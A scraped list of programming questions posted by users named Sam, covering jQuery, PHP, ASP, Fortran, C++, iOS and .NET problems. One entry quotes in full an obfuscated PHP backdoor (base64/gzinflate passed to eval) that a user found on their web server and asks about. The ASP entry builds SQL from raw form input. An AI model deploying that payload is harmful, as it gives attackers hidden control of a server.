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  • jQuery each loop - using variables

    - by Sam
    I have a list of products. Each product has a title and a review link. Currently the titles link directly to the individual product page, and the review links go elsewhere. I'd like to use a jquery each loop to cycle through each li, take the href from the title (the first link), and apply it to the review link (the second link), so they both point to the product page. Simplified code would be as follows: <ul> <li><a href="product1.html">Product 1</a><a href="review1.html">Review 1</a></li> <li><a href="product2.html">Product 2</a><a href="review2.html">Review 2</a></li> <li><a href="product3.html">Product 3</a><a href="review3.html">Review 3</a></li> </ul> I thought it would be something like the following: $("li").each(function(){ var link = $("a:eq(0)").attr('href'); $("a:eq(1)").attr("href", link); }); But it always uses the same variable "link". Can someone help me out?

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  • MD5 hash differences between Python and other file hashers

    - by Sam
    I have been doing a bit of programming in Python (still a n00b at it) and came across something odd. I made a small program to find the MD5 hash of a filename passed to it on the command line. I used a function I found here on SO. When I ran it against a file, I got a hash "58a...113". But when I ran Microsoft's FCIV or the md5sum.py in \Python26\Tools\Scripts\, I get a different hash, "591...ae6". The actual hashing part of the md5sum.py in Scripts is m = md5.new() while 1: data = fp.read(bufsize) if not data: break m.update(data) out.write('%s %s\n' % (m.hexdigest(), filename)) This looks functionally identical to the code in the function given in the other answer... What am I missing? (This is my first time posting to stackoverflow, please let me know if I am doing it wrong.)

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  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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  • How to check if an SQL query executed without error in ASP?

    - by Sam
    Here's my code: if Request.Form("authorize") <> "" and request.form("delete") <> "true" then post_ids = Request.form("authorize") ids = split(post_ids, ",") For i = LBound(ids) to UBound(ids) sql = "update tbl_comments set authorized = 'true' where comment_id = " & ids(i) pageDB.execute(sql) Next message = "<div id=""succeed""><strong>Updated</strong>: Your comments have been approved.</div>" end if Instead of just setting "message" to the success message i'd like to do something along the lines of... if(pageDB.execute(sql) was succesful) then message = "<div id=""succeed""><strong>Updated</strong>: Your comments have been approved.</div>" else message = "<div id=""error""><strong>Error</strong>: Your comments have not been approved.</div>" end if

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  • FORTRAN: Invalid form for an assignment

    - by Sam Goodness
    I can't get this code to compile uding either the g77 minGW compiler or the g95 compiler. Does anyone know why? I get these errors with the g77: diff5z10.for: In subroutine `diffract': diff5z10.for:579: Tropo100 = 20.34 - .077 * Dist ^ Invalid form for assignment statement at (^) diff5z10.for:581: IF (Freq .GT. 1000) FreqAdj = 24.5 - 7200/(Freq+3000) ^ Invalid form for assignment statement at (^) and i get these errors when compiling with g95: In file diff5z10.for:574 CLUTTER = steep*CLUTTER 1 Error: Unclassifiable statement at (1) In file diff5z10.for:580 FreqAdj = 23.978 - 58026.76 / (Freq + 2320) 1 Error: Unclassifiable statement at (1) here is the code from this section of the program: (starting with line 362) Span = .28 - .144 * (Round - 1.2) Para = C / Span**2 IF (Ratio .GT. .4) Para = 6.25 * (C - 1) CLUTTER = Para * (RATIO - .4)**2 - C IF (CLUTTER .GT. 0.) CLUTTER = 0. CSlope = SQRT(freq)/350 steep = 1 + CSlope * (dist - Horizon) IF (steep .LT. 0) steep = 0 IF (steep .GT. 1) steep = 1 CLUTTER = steep*CLUTTER Tropo100 = 20.34 - .077 * Dist FreqAdj = 23.978 - 58026.76 / (Freq + 2320) IF (Freq .GT. 1000) FreqAdj = 24.5 - 7200/(Freq+3000) TropoFd = Tropo100 - FreqAdj FS_field = 106.9 - 20 * LOG10(Dist) Scatter = TropoFd - FS_field !loss ref to free space DiffL = Scatter - DLOSS Combine = 150/(20 - DiffL) - 5 IF (DiffL .LT. -10) Combine = 0 IF (DiffL .GT. 10) Combine = DiffL DLOSS = DLOSS + Combine RETURN END

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  • jQuery Validation plugin: prompt for override

    - by Sam Carleton
    I have a jQuery form that has validation of a sort. It is a data entry screen with two 'recommend ranges', one is 36-84, the other 50-300. The business rules call for the values to be either blank or greater than zero, but to prompt for confirmation if the values are outside of the range listed above. I have seen some other threads that talk about setting the class="cancel" on the submit button. From what I can tell, this will simply disable the validation. I need to prompt for a "do you want to continue, yes or no?" and if no stop the submit, if yes, continue. Below is an example from the book Pro jQuery. By default the top row needs to be between 10 and 20 to submit. How would you change it so that it prompts you and if you say Yes it submits, no prevents the submit: <!DOCTYPE html> <html> <head> <title>Example</title> <script src="jquery-1.7.js" type="text/javascript"></script> <script src="jquery.tmpl.js" type="text/javascript"></script> <script src="jquery.validate.js" type="text/javascript"></script> <style type="text/css"> h1 { min-width: 70px; border: thick double black; margin-left: auto; margin-right: auto; text-align: center; font-size: x-large; padding: .5em; color: darkgreen; background-image: url("border.png"); background-size: contain; margin-top: 0; } .dtable {display: table;} .drow {display: table-row;} .dcell {display: table-cell; padding: 10px;} .dcell > * {vertical-align: middle} input {width: 2em; text-align: right; border: thin solid black; padding: 2px;} label {width: 5em; padding-left: .5em; display: inline-block;} #buttonDiv {text-align: center;} #oblock {display: block; margin-left: auto; margin-right: auto; min-width: 700px; } div.errorMsg {color: red} .invalidElem {border: medium solid red} </style> <script type="text/javascript"> $(document).ready(function() { var data = [ { name: "Astor", product: "astor", stocklevel: "10", price: "2.99"}, { name: "Daffodil", product: "daffodil", stocklevel: "12", price: "1.99"}, { name: "Rose", product: "rose", stocklevel: "2", price: "4.99"}, { name: "Peony", product: "peony", stocklevel: "0", price: "1.50"}, { name: "Primula", product: "primula", stocklevel: "1", price: "3.12"}, { name: "Snowdrop", product: "snowdrop", stocklevel: "15", price: "0.99"}, ]; var templResult = $('#flowerTmpl').tmpl(data); templResult.slice(0, 3).appendTo('#row1'); templResult.slice(3).appendTo("#row2"); $('form').validate({ highlight: function(element, errorClass) { $(element).add($(element).parent()).addClass("invalidElem"); }, unhighlight: function(element, errorClass) { $(element).add($(element).parent()).removeClass("invalidElem"); }, errorElement: "div", errorClass: "errorMsg" }); $.validator.addClassRules({ flowerValidation: { required: true, min: 0, max: 100, digits: true, } }) $('#row1 input').each(function(index, elem) { $(elem).rules("add", { min: 10, max: 20 }) }); $('input').addClass("flowerValidation").change(function(e) { $('form').validate().element($(e.target)); }); }); </script> <script id="flowerTmpl" type="text/x-jquery-tmpl"> <div class="dcell"> <img src="${product}.png"/> <label for="${product}">${name}: </label> <input name="${product}" value="0" required /> </div> </script> </head> <body> <h1>Jacqui's Flower Shop</h1> <form method="post" action="http://node.jacquisflowershop.com/order"> <div id="oblock"> <div class="dtable"> <div id="row1" class="drow"> </div> <div id="row2"class="drow"> </div> </div> </div> <div id="buttonDiv"><button type="submit">Place Order</button></div> </form> </body> </html>

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  • Best practices for withstanding launch day traffic burst

    - by Sam McAfee
    We are working on a website for a client that (for once) is expected to get a fair amount of traffic on day one. There are press releases, people are blogging about it, etc. I am a little concerned that we're going to fall flat on our face on day one. What are the main things you would look at to ensure (in advance without real traffic data) that you can stay standing after a big launch. Details: This is a L/A/M/PHP stack, using an internally developed MVC framework. This is currently being launched on one server, with Apache and MySQL both on it, but we can break that up if need be. We are already installing memcached and doing as much PHP-level caching as we can think of. Some of the pages are rather query intensive, and we are using Smarty as our template engine. Keep in mind there is no time to change any of these major aspects--this is the just the setup. What sorts of things should we watch out for?

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  • Triggering CSV download using Javascript?

    - by Sam Lee
    I have an url /reportcsv that generates a plain text csv with Content-type: text/csv and Content-disposition: attachment; filename=report.csv. I want trigger this csv to be downloaded using Javascript. I'm considering two methods: 1) Setting location.href = /reportcsv 2) Setting an iframe url to /reportcsv Both seem to work in Safari. I was wondering if there is any difference between them, or if one is recommended over the other. My main requirement is that I don't want the user to leave the current page.

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  • Why is PHP discriminating between .php and .abc extensions for caching?

    - by Sam
    There seems to be a problem between how PHP engine handles identical files that differ only in their file extension. Problem: "An If-Modified-Since conditional request returned the full content unchanged." Also, I measured that the .php extension loads much faster than identitcal twin with .xxx extension even though the file contents are identical, and they differ only in their file extension. "HTTP allows clients to make conditional requests to see if a copy that they hold is still valid. Since this response has a Last-Modified header, clients should be able to use an If-Modified-Since request header for validation. RED has done this and found that the resource sends a full response even though it hadn't changed, indicating that it doesn't support Last-Modified validation." homepage ending with .php exact same file, but ending .ast Given: A home.php file is copied as home.xxx and this extension is added to htaccess to recognize it as a PHP file. The .php file listen to the php.ini where freshness is set to 3 hrs, the non .php files have to listen to htaccess where freshness is set to 2 hrs according to: AddType application/x-httpd-php .php .ast .abc .xxx .etc <IfModule mod_headers.c> ExpiresActive On ExpiresDefault M2419200 Header unset ETag FileETag None Header unset Pragma Header set Cache-Control "max-age=2419200" ##### DYNAMIC PAGES <FilesMatch "\\.(ast|php|abc|xxx)$"> ExpiresDefault M7200 Header set Cache-Control "public, max-age=7200" </FilesMatch> </IfModule> So far so good and everything loads, except, the non-php file doesn't cache properly, or it does cache well but doesn't validate well, to be more specific. See images enclosed. Only the non-php file extension causes the error and loads slower. The entire page.php loads faster as somehow all the elements in there then load properly from cache, while the page.abc has the full request returned while it ought to be cached, meaning the entire page is slower. Bottom line: What should be changed, in order eliminate the If-Modified-Since conditional request returning the full content unchanged?

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  • Strange problem with Random Access Filing in C++

    - by sam
    This is a simple random access filing program . The problem arises where i want to write data randomly. If I write any where in the file the previous records are set to 0. the last 1 which is being entered currently holds the correct value all others =0. This is the code #include <iostream> #include<fstream> #include<string> using namespace std; class name { int id; int pass; public: void writeBlank(); void writedata(); void readdata(); void readall(); int getid() { return id; } int getpass() { return pass; } void setid(int i) { id=i; } void setpass(int p) { pass=p; } }; void name::writeBlank() { name person; person.setid(0); person.setpass(0); int i; ofstream out("pass.txt",ios::binary); if ( !out ) { cout << "File could not be opened." << endl; } for(i=0;i<10;i++) //make 10 records { cout<<"Put pointer is at: "<<out.tellp()<<endl; cout<<"Blank record "<<i<<" is: "<<person.getid()<<" "<<person.getpass()<<" and size: "<<sizeof(person)<<endl; cout<<"Put pointer is at: "<<out.tellp()<<endl; out.write(reinterpret_cast< const char * >(&person),sizeof(name)); } } void name::writedata() { ofstream out("pass.txt",ios::binary|ios::out); name n1; int iD,p; cout<<"ID?"; cin>>iD; n1.setid(iD); cout<<"Enter password"; cin>>p; n1.setpass(p); if (!out ) { cout << "File could not be opened." << endl; } out.seekp((n1.getid()-1)*sizeof(name),ios::beg); //pointer moves to desired location where we have to store password according to its ID(index) cout<<"File pointer is at: "<<out.tellp()<<endl; out.write(reinterpret_cast<const char*> (&n1), sizeof(name)); //write on that pointed location } void name::readall() { name n1; ifstream in("pass.txt",ios::binary); if ( !in ) { cout << "File could not be opened." << endl; } in.read( reinterpret_cast<char *>(&n1), sizeof(name) ); while ( !in.eof() ) { // display record cout<<endl<<"password at this index is:"<<n1.getpass()<<endl; cout<<"File pointer is at: "<<in.tellg()<<endl; // read next from file in.read( reinterpret_cast< char * >(&n1), sizeof(name)); } // end while } void name::readdata() { ifstream in("pass.txt",ios::binary); if ( !in ) { cout << "File could not be opened." << endl; } in.seekg((getid()-1)*sizeof(name)); //pointer moves to desired location where we have to read password according to its ID(index) cout<<"File pointer is at: "<<in.tellg()<<endl; in.read((char* )this,sizeof(name)); //reads from that pointed location cout<<endl<<"password at this index is:"<<getpass()<<endl; } int main() { name n1; cout<<"Enter 0 to write blank records"<<endl; cout<<"Enter 1 for new account"<<endl; cout<<"Enter 2 to login"<<endl; cout<<"Enter 3 to read all"<<endl; cout<<"Enter 9 to exit"<<endl; int option; cin>>option; while(option==0 || option==1 || option==2 || option==3) { if (option == 0) n1.writeBlank(); if(option==1) { /*int iD,p; cout<<"ID?"; cin>>iD; n1.setid(iD); cout<<"Enter password"; cin>>p; n1.setpass(p);*/ n1.writedata(); } int ind; if(option==2) { cout<<"Index?"; cin>>ind; n1.setid(ind); n1.readdata(); } if(option == 3) n1.readall(); cout<<"Enter 0 to write blank records"<<endl; cout<<"Enter 1 for new account"<<endl; cout<<"Enter 2 to login"<<endl; cout<<"Enter 3 to read all"<<endl; cout<<"Enter 9 to exit"<<endl; cin>>option; } } I Cant understand Y the previous records turn 0.

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  • Received memory warning on setimage

    - by Sam Budda
    This problem has completely stumped me. This is for iOS 5.0 with Xcode 4.2 What's going on is that in my app I let user select images from their photo album and I save those images to apps document directory. Pretty straight forward. What I do then is that in one of the viewController.m files I create multiple UIImageViews and I then set the image for the image view from one of the picture that user selected from apps dir. The problem is that after a certain number of UIImage sets I receive a "Received memory warning". It usually happens when there are 10 pictures. If lets say user selected 11 pictures then the app crashes with Error (GBC). NOTE: each of these images are at least 2.5 MB a piece. After hours of testing I finally narrowed down the problem to this line of code [button1AImgVw setImage:image]; If I comment out that code. All compiles fine and no memory errors happen. But if I don't comment out that code I receive memory errors and eventually a crash. Also note it does process the whole CreateViews IBAction but still crashes at the end. I cannot do release or dealloc since I am running this on iOS 5.0 with Xcode 4.2 Here is the code that I used. Can anyone tell me what did I do wrong? - (void)viewDidLoad { [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. [self CreateViews]; } -(IBAction) CreateViews { paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask ,YES); documentsPath = [paths objectAtIndex:0]; //here 15 is for testing purposes for (int i = 0; i < 15; i++) { //Lets not get bogged down here. The problem is not here UIImageView *button1AImgVw = [[UIImageView alloc] initWithFrame:CGRectMake(10*i, 10, 10, 10)]; [self.view addSubview:button1AImgVw]; NSMutableString *picStr1a = [[NSMutableString alloc] init]; NSString *dataFile1a = [[NSString alloc] init]; picStr1a = [NSMutableString stringWithFormat:@"%d.jpg", i]; dataFile1a = [documentsPath stringByAppendingPathComponent:picStr1a]; NSData *potraitImgData1a =[[NSData alloc] initWithContentsOfFile:dataFile1a]; UIImage *image = [[UIImage alloc] initWithData:potraitImgData1a]; // This is causing my app to crash if I load more than 10 images! //[button1AImgVw setImage:image]; } NSLog(@"It went to END!"); } //Error I get when 10 images are selected. App does launch and work 2012-10-07 17:12:51.483 ABC-APP[7548:707] It went to END! 2012-10-07 17:12:51.483 ABC-APP [7531:707] Received memory warning. //App crashes with this error when there are 11 images 2012-10-07 17:30:26.339 ABC-APP[7548:707] It went to END! (gdb)

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  • extra new lines with several outputStream.write

    - by Sam
    Hi All, I am writing jsp to export data in excel format to user. An excel could be recieved on the cient side. However, since there's large amount of data, and I don't want to keep it in the server memory and write them at the end. I try to divide them and write serveral times. However, each extra write(..) will cause an extra new lines at the top of the excel worksheet and then the extra data is placed after these new lines. Does anyone know the reasons? The code is something like this: response.setHeader("Content-disposition","attachment;filename=DocuShareSearch.xls"); response.setHeader("Content-Type", "application/octet-stream"); responseContent ="<table><tr><td>12131</td></tr>......."; byte[] responseByte1 = responseContent.getBytes("utf-16"); outputStream.write(responseByte1, 0, responseByte1.length ); responseContent =".....<tr><td>12131</td></tr></table>"; byte[] responseByte2 = responseContent.getBytes("utf-16"); outputStream.write(responseByte2, 0, responseByte2.length ); outputStream.close();

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  • Google JavaScript CAPTCHA handling

    - by Sam
    I am using Google API's to provide maps on a web page, however, Google frequently prompts for a CAPTCHA (I only know this from going into Firebug, users just get a JavaScript error) for requests for its javascript API's (e.g. http://maps.google.co.uk/maps?file=api&v=2&key=xxxx). However, this prevents visitors from our network (a very large (UK wide) WAN) using Google Maps etc from using these sites with it on. This is likely due to the fact the IP is shared by many people, so Google sees it as spam. I don't see any way of contacting Google about this, so was wondering if there is any way of intercepting these failing JavaScript requests since they return a 403 status code? Perhaps by opening a new window, although that would not be user friendly (they will see the JavaScript after the CAPTCHA, so would be a cause of confusion and would need to refresh the page in question).

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  • Inserting a string array as a row into an Excel document using the Open XML SDK 2.0

    - by Sam
    The code runs, but corrupts my excel document. Any help would be mucho appreciated! I used this as a reference. public void AddRow(string fileName, string[] values) { using (SpreadsheetDocument doc = SpreadsheetDocument.Open(fileName, true)) { SharedStringTablePart sharedStringPart = GetSharedStringPart(doc); WorksheetPart worksheetPart = doc.WorkbookPart.WorksheetParts.First(); uint rowIdx = AppendRow(worksheetPart); for (int i = 0; i < values.Length; ++i) { int stringIdx = InsertSharedString(values[i], sharedStringPart); Cell cell = InsertCell(i, rowIdx, worksheetPart); cell.CellValue = new CellValue(stringIdx.ToString()); cell.DataType = new EnumValue<CellValues>( CellValues.SharedString); worksheetPart.Worksheet.Save(); } } } private SharedStringTablePart GetSharedStringPart( SpreadsheetDocument doc) { if (doc.WorkbookPart. GetPartsCountOfType<SharedStringTablePart>() > 0) return doc.WorkbookPart. GetPartsOfType<SharedStringTablePart>().First(); else return doc.WorkbookPart. AddNewPart<SharedStringTablePart>(); } private uint AppendRow(WorksheetPart worksheetPart) { SheetData sheetData = worksheetPart.Worksheet. GetFirstChild<SheetData>(); uint rowIndex = (uint)sheetData.Elements<Row>().Count(); Row row = new Row() { RowIndex = rowIndex }; sheetData.Append(row); return rowIndex; } private int InsertSharedString(string s, SharedStringTablePart sharedStringPart) { if (sharedStringPart.SharedStringTable == null) sharedStringPart.SharedStringTable = new SharedStringTable(); int i = 0; foreach (SharedStringItem item in sharedStringPart.SharedStringTable. Elements<SharedStringItem>()) { if (item.InnerText == s) return i; ++i; } sharedStringPart.SharedStringTable.AppendChild( new Text(s)); sharedStringPart.SharedStringTable.Save(); return i; } private Cell InsertCell(int i, uint rowIdx, WorksheetPart worksheetPart) { SheetData sheetData = worksheetPart.Worksheet. GetFirstChild<SheetData>(); string cellReference = AlphabetMap.Instance[i] + rowIdx; Cell cell = new Cell() { CellReference = cellReference }; Row row = sheetData.Elements<Row>().ElementAt((int)rowIdx); row.InsertAt(cell, i); worksheetPart.Worksheet.Save(); return cell; }

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  • how to read httpWebRequest's request stream in c#, i got error" the stream is not readable" ?

    - by sam
    hi i want to read request stream from a custom httpWebRequest class that inherits from httpWebRequest and i have tried to read the request stream in different stages but sitll not sure how to archieve that in the class,thanks very much for any help. This custom httpWebRequest is used to serilize soap message and i want to know what request has been sent in string format. I also implemented custom HttpRequestCreator,HttpWebResponse but till cant find a place/stage i can read the request stream. If i output everything in a memory stream then copy the content to request stream, anyone knows which stage i can do it in the constructor, BeginGetRequestStream,EndGetRequestStream or GetRequestStream?

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  • RubyMotion Error When Using setTranslucent

    - by Sam Morris
    I'm getting the following error when trying rake a project I'm working on, and I can't figure out why. The message happens no matter what variable I sent it. Objective-C stub for message `setTranslucent:' type `v@:c' not precompiled. Make sure you properly link with the framework or library that defines this message Here's my app_delegate file for reference. class AppDelegate def application(application, didFinishLaunchingWithOptions:launchOptions) navigation_appearance @window = UIWindow.alloc.initWithFrame(UIScreen.mainScreen.bounds) tableView = StopsController.alloc.init @window.rootViewController = UINavigationController.alloc.initWithRootViewController(tableView) @window.makeKeyAndVisible true end def navigation_appearance UINavigationBar.appearance.setBackgroundImage UIImage.imageNamed('navbar_bg.png'), forBarMetrics: UIBarMetricsDefault UINavigationBar.appearance.setTranslucent(true) UINavigationBar.appearance.setShadowImage UIImage.imageNamed('navbar_shadow.png') end end

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  • BlackBerry Technical Specification

    - by Sam
    I'm having trouble locating BlackBerry techical specifications and their website is a mess. They also don't have a number that I can use to easily contact them. This isn't exactly a coding question, but what does the BlackBerry audio API look like, and where can I get technical specifications on audio? Specifically, I'm trying to find out more information on Audio-In, specifically, through the Mic-In on the 3.5 mm jack. Unfortunately, before I can proceed, I need to know such things like sampling rate, data width, etc. Direction to the right resource or if you know off of the top of your head is appreciated.

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  • How to set cookies via PHP in the middle of a document?

    - by Sam
    Hi all, how can I set cookies in the middle of a document, without incurring a 'headers already sent' error? What I'm trying to do is make a log out script (the log in cookie setting works...so odd. Is it because it's enclosed in an if statement?) however I've already echoed the page title and some other stuff at the top of the page, before I've made this logout happen. Thanks!

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  • WPF: Template Binding in Control template

    - by Sam
    I have the following control template. I wish to set the source property for the image control in the control template using Template Binding. But since this is a control template for button control and the button control doesn't have source property, i can't use TemplateBinding in this case. <ControlTemplate x:Key="BtnTemplate" TargetType="Button"> <Border CornerRadius="5" Margin="15" Cursor="Hand"> <StackPanel> <Image Name="Img" Style="{StaticResource ImageStyle}" Source="temp.jpg" Height="100" Width="100" Margin="5"></Image> <Label Content="{TemplateBinding Content}" Background="Transparent" Margin="2"></Label> </StackPanel> </Border> </ControlTemplate> Since i have to set different images for different instances of button, i can't hardcode the path as well. Please let me know how to tackle this situation.

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  • dotted stroke in <canvas>

    - by Sam
    I guess it is not possible to set stroke property such as CSS which is quite easy. With CSS we have dashed, dotted, solid but on canvas when drawing lines/or strokes this doesn't seem to be an option. How have you implemented this? I've seen some examples but they are really long for such a silly function. For example: http://groups.google.com/group/javascript-information-visualization-toolkit/browse_thread/thread/22000c0d0a1c54f9?pli=1

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  • Converting ObjC Blocks to C# Lambas

    - by Sam
    I need some help converting an Objective-C block to C#. Here is the source ObjC: NSDate* addYear = [_calendar dateByAddingComponents:((^{ NSDateComponents* components = [NSDateComponents new]; components.month = 12; return components; })()) toDate:now options:0]; Now I tried the following in C#: NSDate date = _calendar.DateByAddingComponents((() => { NSDateComponents components = new NSDateComponents(); components.Month = 12; return components; })(), now, NSCalendarOptions.None); To which I get the following compiler error: Expression denotes a 'anonymous method' where a 'method group' was expected. Removing the parentheses around the lambda yields Cannot convert 'lambda expression' to non-delegate type 'MonoTouch.Foundation.NSDateComponents'. What is the correct C# syntax? I need to retain the closures as there are a lot more in the code base that I am porting.

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